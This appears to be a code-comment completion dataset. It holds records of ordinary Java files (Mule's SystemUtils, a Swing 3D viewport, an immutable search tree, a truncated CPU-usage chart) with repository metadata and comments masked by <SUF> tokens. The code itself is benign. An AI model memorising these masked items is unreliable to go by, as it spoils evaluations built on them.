if (cursor == '=') {
// skip over garbage to next potential definition
tokenStart = indexOf(input, ' ', tokenStart);
if (tokenStart != INDEX_NOT_FOUND) {
// '-D= ..' - continue with next token
continue findtoken;
} else {
// '-D=' - get out of here
break findtoken;
}
}
// apparently there's a key, so find the end
findkey: while (keyEnd < input.length()) {
cursor = input.charAt(keyEnd);
// '-Dkey ..'
if (cursor == ' ') {
tokenStart = keyEnd;
break findkey;
}
// '-Dkey=..'
if (cursor == '=') {
break findkey;
}
// keep looking
keyEnd++;
}
// yay, finally a key
String key = substring(input, keyStart, keyEnd);
// assume that there is no value following
int valueStart = keyEnd;
int valueEnd = keyEnd;
// default value
String value = "true";
// now find the value, but only if the current cursor is not a space
if (keyEnd < input.length() && cursor != ' ') {
// bump value start/end
valueStart = keyEnd + 1;
valueEnd = valueStart;
// '-Dkey="..'
cursor = input.charAt(valueStart);
if (cursor == '"') {
// opening "
valueEnd = indexOf(input, '"', ++valueStart);
} else {
// unquoted value
valueEnd = indexOf(input, ' ', valueStart);
}
// no '"' or ' ' delimiter found - use the rest of the string
if (valueEnd == INDEX_NOT_FOUND) {
valueEnd = input.length();
}
// create value
value = substring(input, valueStart, valueEnd);
}
// finally create key and value && loop again for next token
result.put(key, value);
// start next search at end of value
tokenStart = valueEnd;
}
return result;
}
/**
* @return the configured default encoding, checking in the following order until a value is found:
* <ul>
* <li>{@code muleContext} -> {@link org.mule.runtime.core.api.config.MuleConfiguration#getDefaultEncoding()}</li>
* <li>The value of the system property 'mule.encoding'</li>
* <li>{@code Charset.defaultCharset()}</li>
* </ul>
*
* @deprecated Use {@link #getDefaultEncoding(MuleConfiguration)} instead.
*/
@Deprecated
public static Charset getDefaultEncoding(MuleContext muleContext) {
return getDefaultEncoding(muleContext != null ? muleContext.getConfiguration() : null);
}
/**
* @return the configured default encoding, checking in the following order until a value is found:
* <ul>
* <li>{@code configuration} -> {@link org.mule.runtime.core.api.config.MuleConfiguration#getDefaultEncoding()}</li>
* <li>The value of the system property 'mule.encoding'</li>
* <li>{@code Charset.defaultCharset()}</li>
* </ul>
*/
public static Charset getDefaultEncoding(MuleConfiguration configuration) {
if (configuration != null && configuration.getDefaultEncoding() != null) {
return Charset.forName(configuration.getDefaultEncoding());
} else if (System.getProperty(MULE_ENCODING_SYSTEM_PROPERTY) != null) {
return Charset.forName(System.getProperty(MULE_ENCODING_SYSTEM_PROPERTY));
} else {
return Charset.defaultCharset();
}
}
protected SystemUtils() {}
}
| mulesoft/mule | core/src/main/java/org/mule/runtime/core/api/util/SystemUtils.java | 2,558 | // bump value start/end | line_comment | nl | /*
* Copyright 2023 Salesforce, Inc. All rights reserved.
* The software in this package is published under the terms of the CPAL v1.0
* license, a copy of which has been included with this distribution in the
* LICENSE.txt file.
*/
package org.mule.runtime.core.api.util;
import static org.mule.runtime.core.api.config.MuleProperties.MULE_ENCODING_SYSTEM_PROPERTY;
import static org.apache.commons.lang3.StringUtils.INDEX_NOT_FOUND;
import static org.apache.commons.lang3.StringUtils.indexOf;
import static org.apache.commons.lang3.StringUtils.substring;
import static org.apache.commons.lang3.SystemUtils.JAVA_VENDOR;
import static org.apache.commons.lang3.SystemUtils.JAVA_VM_NAME;
import static org.apache.commons.lang3.SystemUtils.JAVA_VM_VENDOR;
import org.mule.api.annotation.NoInstantiate;
import org.mule.runtime.core.api.MuleContext;
import org.mule.runtime.core.api.config.MuleConfiguration;
import java.nio.charset.Charset;
import java.util.Collections;
import java.util.HashMap;
import java.util.Map;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
// @ThreadSafe
/**
* @deprecated make this class internal
*/
@Deprecated
@NoInstantiate
public class SystemUtils {
// class logger
protected static final Logger logger = LoggerFactory.getLogger(SystemUtils.class);
// the environment of the VM process
private static Map environment = null;
/**
* Get the operating system environment variables. This should work for Windows and Linux.
*
* @return Map<String, String> or an empty map if there was an error.
*/
public static synchronized Map getenv() {
if (environment == null) {
try {
environment = System.getenv();
} catch (Exception ex) {
logger.error("Could not access OS environment: ", ex);
environment = Collections.EMPTY_MAP;
}
}
return environment;
}
public static String getenv(String name) {
return (String) SystemUtils.getenv().get(name);
}
public static boolean isSunJDK() {
return JAVA_VM_VENDOR.toLowerCase().contains("sun")
|| JAVA_VM_VENDOR.toLowerCase().contains("oracle");
}
public static boolean isAppleJDK() {
return JAVA_VM_VENDOR.toLowerCase().contains("apple");
}
public static boolean isIbmJDK() {
return JAVA_VM_VENDOR.toLowerCase().contains("ibm") || JAVA_VENDOR.toLowerCase().contains("ibm");
}
public static boolean isAzulJDK() {
return JAVA_VM_VENDOR.toLowerCase().contains("azul");
}
public static boolean isAmazonJDK() {
return JAVA_VM_VENDOR.toLowerCase().contains("amazon");
}
public static boolean isOpenJDK() {
return JAVA_VM_VENDOR.toLowerCase().contains("openjdk") || JAVA_VENDOR.toLowerCase().contains("openjdk") ||
JAVA_VM_NAME.toLowerCase().contains("openjdk");
}
public static boolean isAdoptOpenJDK() {
return JAVA_VM_VENDOR.toLowerCase().contains("adoptopenjdk") || JAVA_VENDOR.toLowerCase().contains("adoptopenjdk");
}
public static boolean isAdoptiumTemurinJDK() {
return JAVA_VM_VENDOR.toLowerCase().contains("temurin") || JAVA_VENDOR.toLowerCase().contains("temurin") ||
JAVA_VM_VENDOR.toLowerCase().contains("adoptium") || JAVA_VENDOR.toLowerCase().contains("adoptium");
}
/**
* Returns a Map of all valid property definitions in <code>-Dkey=value</code> format. <code>-Dkey</code> is interpreted as
* <code>-Dkey=true</code>, everything else is ignored. Whitespace in values is properly handled but needs to be quoted
* properly: <code>-Dkey="some value"</code>.
*
* @param input String with property definitionn
* @return a {@link Map} of property String keys with their defined values (Strings). If no valid key-value pairs can be parsed,
* the map is empty.
*/
public static Map<String, String> parsePropertyDefinitions(String input) {
if (StringUtils.isEmpty(input)) {
return Collections.emptyMap();
}
// the result map of property key/value pairs
final Map<String, String> result = new HashMap<>();
// where to begin looking for key/value tokens
int tokenStart = 0;
// this is the main loop that scans for all tokens
findtoken: while (tokenStart < input.length()) {
// find first definition or bail
tokenStart = indexOf(input, "-D", tokenStart);
if (tokenStart == INDEX_NOT_FOUND) {
break findtoken;
} else {
// skip leading -D
tokenStart += 2;
}
// find key
int keyStart = tokenStart;
int keyEnd = keyStart;
if (keyStart == input.length()) {
// short input: '-D' only
break;
}
// let's check out what we have next
char cursor = input.charAt(keyStart);
// '-D xxx'
if (cursor == ' ') {
continue findtoken;
}
// '-D='
if (cursor == '=') {
// skip over garbage to next potential definition
tokenStart = indexOf(input, ' ', tokenStart);
if (tokenStart != INDEX_NOT_FOUND) {
// '-D= ..' - continue with next token
continue findtoken;
} else {
// '-D=' - get out of here
break findtoken;
}
}
// apparently there's a key, so find the end
findkey: while (keyEnd < input.length()) {
cursor = input.charAt(keyEnd);
// '-Dkey ..'
if (cursor == ' ') {
tokenStart = keyEnd;
break findkey;
}
// '-Dkey=..'
if (cursor == '=') {
break findkey;
}
// keep looking
keyEnd++;
}
// yay, finally a key
String key = substring(input, keyStart, keyEnd);
// assume that there is no value following
int valueStart = keyEnd;
int valueEnd = keyEnd;
// default value
String value = "true";
// now find the value, but only if the current cursor is not a space
if (keyEnd < input.length() && cursor != ' ') {
// bump value<SUF>
valueStart = keyEnd + 1;
valueEnd = valueStart;
// '-Dkey="..'
cursor = input.charAt(valueStart);
if (cursor == '"') {
// opening "
valueEnd = indexOf(input, '"', ++valueStart);
} else {
// unquoted value
valueEnd = indexOf(input, ' ', valueStart);
}
// no '"' or ' ' delimiter found - use the rest of the string
if (valueEnd == INDEX_NOT_FOUND) {
valueEnd = input.length();
}
// create value
value = substring(input, valueStart, valueEnd);
}
// finally create key and value && loop again for next token
result.put(key, value);
// start next search at end of value
tokenStart = valueEnd;
}
return result;
}
/**
* @return the configured default encoding, checking in the following order until a value is found:
* <ul>
* <li>{@code muleContext} -> {@link org.mule.runtime.core.api.config.MuleConfiguration#getDefaultEncoding()}</li>
* <li>The value of the system property 'mule.encoding'</li>
* <li>{@code Charset.defaultCharset()}</li>
* </ul>
*
* @deprecated Use {@link #getDefaultEncoding(MuleConfiguration)} instead.
*/
@Deprecated
public static Charset getDefaultEncoding(MuleContext muleContext) {
return getDefaultEncoding(muleContext != null ? muleContext.getConfiguration() : null);
}
/**
* @return the configured default encoding, checking in the following order until a value is found:
* <ul>
* <li>{@code configuration} -> {@link org.mule.runtime.core.api.config.MuleConfiguration#getDefaultEncoding()}</li>
* <li>The value of the system property 'mule.encoding'</li>
* <li>{@code Charset.defaultCharset()}</li>
* </ul>
*/
public static Charset getDefaultEncoding(MuleConfiguration configuration) {
if (configuration != null && configuration.getDefaultEncoding() != null) {
return Charset.forName(configuration.getDefaultEncoding());
} else if (System.getProperty(MULE_ENCODING_SYSTEM_PROPERTY) != null) {
return Charset.forName(System.getProperty(MULE_ENCODING_SYSTEM_PROPERTY));
} else {
return Charset.defaultCharset();
}
}
protected SystemUtils() {}
}
|
23654_2 | /**
This file is part of a 3D engine,
copyright Arne Vansteenkiste 2006-2010.
Use of this source code is governed by the GNU General Public License version 3,
as published by the Free Software Foundation.
*/
package maxview;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
/**
View voor een universe. Bevat de camera-positie en -richting.
*/
public final class View extends JPanel{
//Het universum dat deze viewport toont.
private Universe universe;
// CURRENTLY UNSUSED: Perspectief parameter: bepaalt hoe klein de dingen er uit zien.
// private double persp = 1000;
private double zoom = 1;
double maxX, maxY; // maximum absolute value of any vector position (used to autoscale the viewport)
//Camera positie.
private double camx, camy , camz;
private double phi, theta; //0..2pi, -pi/2..pi/2
private double bordr, bordphi, bordtheta; //0..inf, 0..2pi, 0..pi/2
//Huidige schermafmetingen
int width, height;
//Kleur van de cursor;
private Color crosshair = new Color(0, 0, 255, 200);
//transformatiematrix
private double m11, m12, m13;
private double m21, m22, m23;
private double m31, m32, m33;
//Graphics2D
private Graphics2D g;
//Anti-alias
private boolean antialias = true;
private BasicStroke stroke = new BasicStroke(1.0f, BasicStroke.CAP_BUTT, BasicStroke.JOIN_ROUND);
public View(Universe u){
g = (Graphics2D)getGraphics();
universe = u;
setFocusable(true);
addKeyListener(new PortKeyListener());
addMouseListener(new PortMouseListener());
addMouseMotionListener(new PortMouseMotionListener());
}
public void setAntiAlias(boolean a){
this.antialias = a;
}
public void setBordRadius(double r){
setBord(r, bordphi, bordtheta);
}
public void setBordPhi(double bphi){
setBordDirection(bphi, bordtheta);
}
public void setBordTheta(double btheta){
setBordDirection(bordphi, btheta);
}
public void setBordDirection(double bphi, double btheta){
setBord(bordr, bphi, btheta);
}
public void setBord(double r, double bphi, double btheta){
bordr = r;
bordphi = bphi;
bordtheta = btheta;
camx = r*cos(btheta)*sin(bphi);
camy = r*sin(btheta);
camz = r*cos(btheta)*cos(bphi);
phi = (bphi+ PI) % (2*PI);
theta = -btheta;
// System.out.println("setBord: r=" + r + ", bphi=" + bphi + ", btheta=" + btheta);
// System.out.println("camx=" + camx + ", camy=" + camy + ", camz=" + camz);
// System.out.println("theta=" + theta + ", phi=" + phi);
initMatrix();
}
public void moveCamera(double dx, double dy, double dz){
setCameraPosition(camx + dx, camy + dy, camz + dz);
}
public void setCameraPosition(double x, double y, double z){
camx = x;
camy = y;
camz = z;
System.out.println("camx=" + camx + ", camy=" + camy + ", camz=" + camz);
initMatrix();
}
public void rotateCamera(double dPhi, double dTheta){
phi += dPhi;
phi %= 2*PI;
theta += dTheta;
if(theta > PI/2)
theta = PI/2;
else if(theta < -PI/2)
theta = -PI/2;
setCameraDirection(phi, theta);
}
public void setCameraDirection(double phi, double theta){
this.phi = phi;
this.theta = theta;
System.out.println("theta=" + theta + ", phi=" + phi);
initMatrix();
}
//Transformeert alle vertices naar huidige camera stand.
private void transform(Vertex[] vertex){
for(int i = 0; i < vertex.length; i++)
transform(vertex[i]);
}
public Graphics2D getGraphics2D(){
return g;
}
private void initMatrix(){
m11 = cos(phi);
m12 = 0;
m13 = -sin(phi);
m21 = -sin(phi)*sin(theta);
m22 = cos(theta);
m23 = -cos(phi)*sin(theta);
m31 = sin(phi)*cos(theta);
m32 = sin(theta);
m33 = cos(phi)*cos(theta);
}
private void transform(Vertex v){
//Translatie naar camera
double x = v.x - camx;
double y = v.y - camy;
double z = v.z - camz;
//Rotatie
double xt = m11 * x + m12 * y + m13 * z;
double yt = -(m21 * x + m22 * y + m23 * z);
double zt = m31 * x + m32 * y + m33 * z;
//Aanpassen aan scherm + perspectief
v.tx = (xt*zoom) + width/2;
v.ty = (yt*zoom) + height/2;
v.tz = zt;
}
public void paint(Graphics g1, int width, int height){
// adjust the zoom factor so that everything is visible
double zoomx = width / (2*maxX);
double zoomy = height/ (2*maxY);
zoom = Math.min(zoomx, zoomy);
this.width = width; // bit of a hack
this.height = height;
g = (Graphics2D)g1;
g.setStroke(stroke);
if(antialias){
g.setRenderingHint(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_ON);
g.setRenderingHint(RenderingHints.KEY_RENDERING, RenderingHints.VALUE_RENDER_QUALITY);
}
else
g.setRenderingHint(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_OFF);
g.setColor(universe.getBackground());
g.fillRect(0, 0, width, height);
transform(universe.getRoot().getVertices());
universe.getRoot().paint(this);
}
public void paint(Graphics g1){
Dimension d = getSize();
width = d.width;
height = d.height;
paint(g1, width, height);
}
/*public void update(Graphics g1){
paint(g1);
}*/
public static final double PI = Math.PI;
public static final double DEG = Math.PI / 180;
private double cos(double a){
return Math.cos(a);
}
private double sin(double a){
return Math.sin(a);
}
final class PortKeyListener implements KeyListener{
//Hoeveel bewogen wordt per key-press.
private int DELTA = 10;
private static final double DPHI = 0.1, DTHETA = 0.1, DR = 1, D=10;
///*
public void keyPressed(KeyEvent e){
int key = e.getKeyCode();
switch(key){
case KeyEvent.VK_LEFT: setBordPhi(bordphi+DPHI); repaint(); break;
case KeyEvent.VK_RIGHT: setBordPhi(bordphi-DPHI); repaint(); break; //rotateWorld(-PI/128); repaint(); break;
case KeyEvent.VK_UP: setBordTheta(bordtheta+DTHETA); repaint(); break;
case KeyEvent.VK_DOWN: setBordTheta(bordtheta-DTHETA); repaint(); break;
case KeyEvent.VK_C: setBordRadius(bordr-DR); repaint(); break;
case KeyEvent.VK_SPACE: setBordRadius(bordr+DR); repaint(); break;
default: break;
}
}
//*/
/*
public void keyPressed(KeyEvent e){
int key = e.getKeyCode();
switch(key){
case KeyEvent.VK_LEFT: moveCamera(-D, 0, 0); repaint(); break;
case KeyEvent.VK_RIGHT: moveCamera(D, 0, 0); repaint(); break; //rotateWorld(-PI/128); repaint(); break;
case KeyEvent.VK_UP: moveCamera(0, 0, D); repaint(); break;
case KeyEvent.VK_DOWN: moveCamera(0, 0, -D); repaint(); break;
case KeyEvent.VK_C: moveCamera(0, -D, 0); repaint(); break;
case KeyEvent.VK_SPACE: moveCamera(0, D, 0); repaint(); break;
default: break;
}
}//*/
public void keyReleased(KeyEvent e){}
public void keyTyped(KeyEvent e){}
}
//waar muis is tijdens draggen
private int downX, downY;
//Hoe gevoelig kijken met de muis is.
public double mouseSensitivity = 0.01;
final class PortMouseListener implements MouseListener{
public void mousePressed(MouseEvent e){
downX = e.getX();
downY = e.getY();
}
public void mouseReleased(MouseEvent e){}
public void mouseClicked(MouseEvent e){}
public void mouseEntered(MouseEvent e){}
public void mouseExited(MouseEvent e){}
}
final class PortMouseMotionListener implements MouseMotionListener{
public void mouseMoved(MouseEvent e){}
public void mouseDragged(MouseEvent e){
int upX = e.getX();
int upY = e.getY();
double dphi = (upX-downX)*mouseSensitivity;
double dtheta = -(upY-downY)*mouseSensitivity;
setBordDirection(bordphi + dphi, bordtheta + dtheta);
downX = upX;
downY = upY;
repaint();
}
}
} | mumax/1 | src/java/maxview/View.java | 2,985 | //Het universum dat deze viewport toont. | line_comment | nl | /**
This file is part of a 3D engine,
copyright Arne Vansteenkiste 2006-2010.
Use of this source code is governed by the GNU General Public License version 3,
as published by the Free Software Foundation.
*/
package maxview;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
/**
View voor een universe. Bevat de camera-positie en -richting.
*/
public final class View extends JPanel{
//Het universum<SUF>
private Universe universe;
// CURRENTLY UNSUSED: Perspectief parameter: bepaalt hoe klein de dingen er uit zien.
// private double persp = 1000;
private double zoom = 1;
double maxX, maxY; // maximum absolute value of any vector position (used to autoscale the viewport)
//Camera positie.
private double camx, camy , camz;
private double phi, theta; //0..2pi, -pi/2..pi/2
private double bordr, bordphi, bordtheta; //0..inf, 0..2pi, 0..pi/2
//Huidige schermafmetingen
int width, height;
//Kleur van de cursor;
private Color crosshair = new Color(0, 0, 255, 200);
//transformatiematrix
private double m11, m12, m13;
private double m21, m22, m23;
private double m31, m32, m33;
//Graphics2D
private Graphics2D g;
//Anti-alias
private boolean antialias = true;
private BasicStroke stroke = new BasicStroke(1.0f, BasicStroke.CAP_BUTT, BasicStroke.JOIN_ROUND);
public View(Universe u){
g = (Graphics2D)getGraphics();
universe = u;
setFocusable(true);
addKeyListener(new PortKeyListener());
addMouseListener(new PortMouseListener());
addMouseMotionListener(new PortMouseMotionListener());
}
public void setAntiAlias(boolean a){
this.antialias = a;
}
public void setBordRadius(double r){
setBord(r, bordphi, bordtheta);
}
public void setBordPhi(double bphi){
setBordDirection(bphi, bordtheta);
}
public void setBordTheta(double btheta){
setBordDirection(bordphi, btheta);
}
public void setBordDirection(double bphi, double btheta){
setBord(bordr, bphi, btheta);
}
public void setBord(double r, double bphi, double btheta){
bordr = r;
bordphi = bphi;
bordtheta = btheta;
camx = r*cos(btheta)*sin(bphi);
camy = r*sin(btheta);
camz = r*cos(btheta)*cos(bphi);
phi = (bphi+ PI) % (2*PI);
theta = -btheta;
// System.out.println("setBord: r=" + r + ", bphi=" + bphi + ", btheta=" + btheta);
// System.out.println("camx=" + camx + ", camy=" + camy + ", camz=" + camz);
// System.out.println("theta=" + theta + ", phi=" + phi);
initMatrix();
}
public void moveCamera(double dx, double dy, double dz){
setCameraPosition(camx + dx, camy + dy, camz + dz);
}
public void setCameraPosition(double x, double y, double z){
camx = x;
camy = y;
camz = z;
System.out.println("camx=" + camx + ", camy=" + camy + ", camz=" + camz);
initMatrix();
}
public void rotateCamera(double dPhi, double dTheta){
phi += dPhi;
phi %= 2*PI;
theta += dTheta;
if(theta > PI/2)
theta = PI/2;
else if(theta < -PI/2)
theta = -PI/2;
setCameraDirection(phi, theta);
}
public void setCameraDirection(double phi, double theta){
this.phi = phi;
this.theta = theta;
System.out.println("theta=" + theta + ", phi=" + phi);
initMatrix();
}
//Transformeert alle vertices naar huidige camera stand.
private void transform(Vertex[] vertex){
for(int i = 0; i < vertex.length; i++)
transform(vertex[i]);
}
public Graphics2D getGraphics2D(){
return g;
}
private void initMatrix(){
m11 = cos(phi);
m12 = 0;
m13 = -sin(phi);
m21 = -sin(phi)*sin(theta);
m22 = cos(theta);
m23 = -cos(phi)*sin(theta);
m31 = sin(phi)*cos(theta);
m32 = sin(theta);
m33 = cos(phi)*cos(theta);
}
private void transform(Vertex v){
//Translatie naar camera
double x = v.x - camx;
double y = v.y - camy;
double z = v.z - camz;
//Rotatie
double xt = m11 * x + m12 * y + m13 * z;
double yt = -(m21 * x + m22 * y + m23 * z);
double zt = m31 * x + m32 * y + m33 * z;
//Aanpassen aan scherm + perspectief
v.tx = (xt*zoom) + width/2;
v.ty = (yt*zoom) + height/2;
v.tz = zt;
}
public void paint(Graphics g1, int width, int height){
// adjust the zoom factor so that everything is visible
double zoomx = width / (2*maxX);
double zoomy = height/ (2*maxY);
zoom = Math.min(zoomx, zoomy);
this.width = width; // bit of a hack
this.height = height;
g = (Graphics2D)g1;
g.setStroke(stroke);
if(antialias){
g.setRenderingHint(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_ON);
g.setRenderingHint(RenderingHints.KEY_RENDERING, RenderingHints.VALUE_RENDER_QUALITY);
}
else
g.setRenderingHint(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_OFF);
g.setColor(universe.getBackground());
g.fillRect(0, 0, width, height);
transform(universe.getRoot().getVertices());
universe.getRoot().paint(this);
}
public void paint(Graphics g1){
Dimension d = getSize();
width = d.width;
height = d.height;
paint(g1, width, height);
}
/*public void update(Graphics g1){
paint(g1);
}*/
public static final double PI = Math.PI;
public static final double DEG = Math.PI / 180;
private double cos(double a){
return Math.cos(a);
}
private double sin(double a){
return Math.sin(a);
}
final class PortKeyListener implements KeyListener{
//Hoeveel bewogen wordt per key-press.
private int DELTA = 10;
private static final double DPHI = 0.1, DTHETA = 0.1, DR = 1, D=10;
///*
public void keyPressed(KeyEvent e){
int key = e.getKeyCode();
switch(key){
case KeyEvent.VK_LEFT: setBordPhi(bordphi+DPHI); repaint(); break;
case KeyEvent.VK_RIGHT: setBordPhi(bordphi-DPHI); repaint(); break; //rotateWorld(-PI/128); repaint(); break;
case KeyEvent.VK_UP: setBordTheta(bordtheta+DTHETA); repaint(); break;
case KeyEvent.VK_DOWN: setBordTheta(bordtheta-DTHETA); repaint(); break;
case KeyEvent.VK_C: setBordRadius(bordr-DR); repaint(); break;
case KeyEvent.VK_SPACE: setBordRadius(bordr+DR); repaint(); break;
default: break;
}
}
//*/
/*
public void keyPressed(KeyEvent e){
int key = e.getKeyCode();
switch(key){
case KeyEvent.VK_LEFT: moveCamera(-D, 0, 0); repaint(); break;
case KeyEvent.VK_RIGHT: moveCamera(D, 0, 0); repaint(); break; //rotateWorld(-PI/128); repaint(); break;
case KeyEvent.VK_UP: moveCamera(0, 0, D); repaint(); break;
case KeyEvent.VK_DOWN: moveCamera(0, 0, -D); repaint(); break;
case KeyEvent.VK_C: moveCamera(0, -D, 0); repaint(); break;
case KeyEvent.VK_SPACE: moveCamera(0, D, 0); repaint(); break;
default: break;
}
}//*/
public void keyReleased(KeyEvent e){}
public void keyTyped(KeyEvent e){}
}
//waar muis is tijdens draggen
private int downX, downY;
//Hoe gevoelig kijken met de muis is.
public double mouseSensitivity = 0.01;
final class PortMouseListener implements MouseListener{
public void mousePressed(MouseEvent e){
downX = e.getX();
downY = e.getY();
}
public void mouseReleased(MouseEvent e){}
public void mouseClicked(MouseEvent e){}
public void mouseEntered(MouseEvent e){}
public void mouseExited(MouseEvent e){}
}
final class PortMouseMotionListener implements MouseMotionListener{
public void mouseMoved(MouseEvent e){}
public void mouseDragged(MouseEvent e){
int upX = e.getX();
int upY = e.getY();
double dphi = (upX-downX)*mouseSensitivity;
double dtheta = -(upY-downY)*mouseSensitivity;
setBordDirection(bordphi + dphi, bordtheta + dtheta);
downX = upX;
downY = upY;
repaint();
}
}
} |
31792_4 | public class DavidImmutableTree extends ImmutableTree {
private final int value;
private final ImmutableTree left;
private final ImmutableTree right;
public DavidImmutableTree(Integer value, ImmutableTree left, ImmutableTree right) {
this.value = value;
this.left = left;
this.right = right;
}
public ImmutableTree newInstance(int value) {
return new DavidImmutableTree(value, null, null);
}
public int getValue() {
return this.value;
}
public ImmutableTree getLeft() {
return this.left;
}
public ImmutableTree getRight() {
return this.right;
}
public String toString() {
String retStr = "";
if (this.left != null) {
retStr += this.left.toString() + ", ";
}
retStr += this.value;
if (this.right != null) {
retStr += ", " + this.right.toString();
}
return retStr;
}
public ImmutableTree getMin() {
return (ImmutableTree) (this.left != null ? this.left.getMin() : this);
}
public ImmutableTree sortedInsert(int insertVal) {
if (insertVal < this.value) { // wenn kleiner links
if (this.left == null) { // kein kind links
return new DavidImmutableTree(this.value, new DavidImmutableTree(insertVal, null, null), this.right); // neuen
// knoten
// als
// blatt
// direkt
// anfuegen
} else { // sonst rekursiv im linken teilbaum
return new DavidImmutableTree(this.value, this.left.sortedInsert(insertVal), this.right);
}
} else { // nicht kleiner rechts analog zu links
if (this.right == null) {
return new DavidImmutableTree(this.value, this.left, new DavidImmutableTree(insertVal, null, null));
} else {
return new DavidImmutableTree(this.value, this.left, this.right.sortedInsert(insertVal));
}
}
}
public ImmutableTree sortedDelete(int deleteVal) {
if (this.value == deleteVal) { // this soll geloescht werden
if (this.left == null && this.right == null) { // nur this
// leeren baum zurueckgeben
return null;
} else { // this hat kinder
if (this.right != null) { // rechter teilbaum vorhanden.
// kleinstes element von rechts in die wurzel kopieren und
// aus rechtem teilbaum loeschen
return new DavidImmutableTree(this.right.getMin().getValue(), this.left,
this.right.sortedDelete(this.right.getMin().getValue()));
} else { // kein rechter teilbaum
return this.left; // linkes kind ist neue wurzel des
// teilbaumes mit this als wurzel
}
// der sonderfall (right != null && left==null) wird nicht
// betrachtet
// so spaart man sich ein paar vergleiche, einigen dublicate
// code
// mit einem kleinen risiko etwas mehraufwand zu betreiben
}
} else { // wurzel wird nicht geloescht
if (deleteVal < this.value) { // element zum loeschen ist links
return new DavidImmutableTree(this.value, this.left != null ? this.left.sortedDelete(deleteVal) : null,
this.right); // element links loeschen
} else { // analog mit rechts
return new DavidImmutableTree(this.value, this.left,
this.right != null ? this.right.sortedDelete(deleteVal) : null);
}
}
// hier kein return noetig, weil jedes if ein else hat und in jedem if
// und else block returned wird.
}
// feststellung: Mit immutables ist das alles so schoen endrekursiv :)
}
| mumogu/TreeTester | DavidImmutableTree.java | 1,067 | // this soll geloescht werden | line_comment | nl | public class DavidImmutableTree extends ImmutableTree {
private final int value;
private final ImmutableTree left;
private final ImmutableTree right;
public DavidImmutableTree(Integer value, ImmutableTree left, ImmutableTree right) {
this.value = value;
this.left = left;
this.right = right;
}
public ImmutableTree newInstance(int value) {
return new DavidImmutableTree(value, null, null);
}
public int getValue() {
return this.value;
}
public ImmutableTree getLeft() {
return this.left;
}
public ImmutableTree getRight() {
return this.right;
}
public String toString() {
String retStr = "";
if (this.left != null) {
retStr += this.left.toString() + ", ";
}
retStr += this.value;
if (this.right != null) {
retStr += ", " + this.right.toString();
}
return retStr;
}
public ImmutableTree getMin() {
return (ImmutableTree) (this.left != null ? this.left.getMin() : this);
}
public ImmutableTree sortedInsert(int insertVal) {
if (insertVal < this.value) { // wenn kleiner links
if (this.left == null) { // kein kind links
return new DavidImmutableTree(this.value, new DavidImmutableTree(insertVal, null, null), this.right); // neuen
// knoten
// als
// blatt
// direkt
// anfuegen
} else { // sonst rekursiv im linken teilbaum
return new DavidImmutableTree(this.value, this.left.sortedInsert(insertVal), this.right);
}
} else { // nicht kleiner rechts analog zu links
if (this.right == null) {
return new DavidImmutableTree(this.value, this.left, new DavidImmutableTree(insertVal, null, null));
} else {
return new DavidImmutableTree(this.value, this.left, this.right.sortedInsert(insertVal));
}
}
}
public ImmutableTree sortedDelete(int deleteVal) {
if (this.value == deleteVal) { // this soll<SUF>
if (this.left == null && this.right == null) { // nur this
// leeren baum zurueckgeben
return null;
} else { // this hat kinder
if (this.right != null) { // rechter teilbaum vorhanden.
// kleinstes element von rechts in die wurzel kopieren und
// aus rechtem teilbaum loeschen
return new DavidImmutableTree(this.right.getMin().getValue(), this.left,
this.right.sortedDelete(this.right.getMin().getValue()));
} else { // kein rechter teilbaum
return this.left; // linkes kind ist neue wurzel des
// teilbaumes mit this als wurzel
}
// der sonderfall (right != null && left==null) wird nicht
// betrachtet
// so spaart man sich ein paar vergleiche, einigen dublicate
// code
// mit einem kleinen risiko etwas mehraufwand zu betreiben
}
} else { // wurzel wird nicht geloescht
if (deleteVal < this.value) { // element zum loeschen ist links
return new DavidImmutableTree(this.value, this.left != null ? this.left.sortedDelete(deleteVal) : null,
this.right); // element links loeschen
} else { // analog mit rechts
return new DavidImmutableTree(this.value, this.left,
this.right != null ? this.right.sortedDelete(deleteVal) : null);
}
}
// hier kein return noetig, weil jedes if ein else hat und in jedem if
// und else block returned wird.
}
// feststellung: Mit immutables ist das alles so schoen endrekursiv :)
}
|
65217_4 | package br.com.jcomputacao.fwc.chart;
import br.com.jcomputacao.fwc.model.MonCpu;
import br.com.jcomputacao.fwc.model.RelConfiguracao;
import java.text.DecimalFormat;
import java.text.NumberFormat;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.List;
import org.jfree.chart.ChartFactory;
import org.jfree.chart.JFreeChart;
import org.jfree.chart.axis.DateAxis;
import org.jfree.chart.axis.NumberAxis;
import org.jfree.chart.axis.NumberTickUnit;
import org.jfree.chart.axis.ValueAxis;
import org.jfree.chart.labels.StandardXYToolTipGenerator;
import org.jfree.chart.plot.PlotOrientation;
import org.jfree.chart.plot.XYPlot;
import org.jfree.chart.renderer.xy.XYItemRenderer;
import org.jfree.data.time.Second;
import org.jfree.data.time.TimeSeries;
import org.jfree.data.time.TimeSeriesCollection;
/**
* 01/06/2011 20:02:25
* @author Murilo
*/
public class GraficoUtilizacaoCpuTempo extends GraficoUtilizacaoCpu {
public GraficoUtilizacaoCpuTempo(List<MonCpu> lista, String nomeServidor) {
RelConfiguracao config = new RelConfiguracao();
config.setTipo(GraficoTipo.CPU);
config.setTitulo("Utilização de CPU ");
config.setCorFundo(0xFFFFFF);
config.setCorPlot(0xFFFFFF);
// RelConfiguracao globaclConfig = new RelConfiguracao();
titulo = config.getTitulo()+nomeServidor;
final TimeSeries serieIo = new TimeSeries("IO");
// final TimeSeries seriePcWait = new TimeSeries("PcWait");
final TimeSeries serieSystem = new TimeSeries("System");
final TimeSeries serieUser = new TimeSeries("User");
final TimeSeries serieNice = new TimeSeries("Nice");
// final TimeSeries serieIdle = new TimeSeries("Idle");
final TimeSeries serieSteal = new TimeSeries("Steal");
List<Double> utilizacoes = new ArrayList<Double>();
for (MonCpu atual : lista) {
Second sec = new Second(atual.getDatColeta());
serieIo.addOrUpdate(sec, atual.getPctIowait()/100);
serieSystem.addOrUpdate(sec, atual.getPctSystem()/100);
